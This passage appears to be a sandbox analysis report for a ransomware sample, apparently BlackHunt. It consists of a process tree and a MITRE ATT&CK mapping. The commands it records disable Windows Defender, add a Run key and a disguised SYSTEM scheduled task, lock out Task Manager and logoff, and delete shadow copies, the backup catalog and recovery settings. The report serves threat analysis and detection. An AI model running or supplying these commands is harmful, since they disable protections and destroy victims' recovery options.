PID:4380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:4120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3416
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2936
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:3660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4536
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:4480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:4736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:4060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    PID:5212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2136
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:5592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:5780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:4980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:5672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2176
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:5416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:5756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:5264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:4524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:5740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:5536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1312
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:5960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:3944
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3120
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:3660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe" /F
  2⤵
  PID:2544
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2248
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:5584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3396
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:5572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4948
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3048
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1888
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4112
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:5040
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1972
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3748
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2344
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  - Modifies registry class
  PID:4120
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2104
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5820

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5928

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5312

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5812

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:1968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery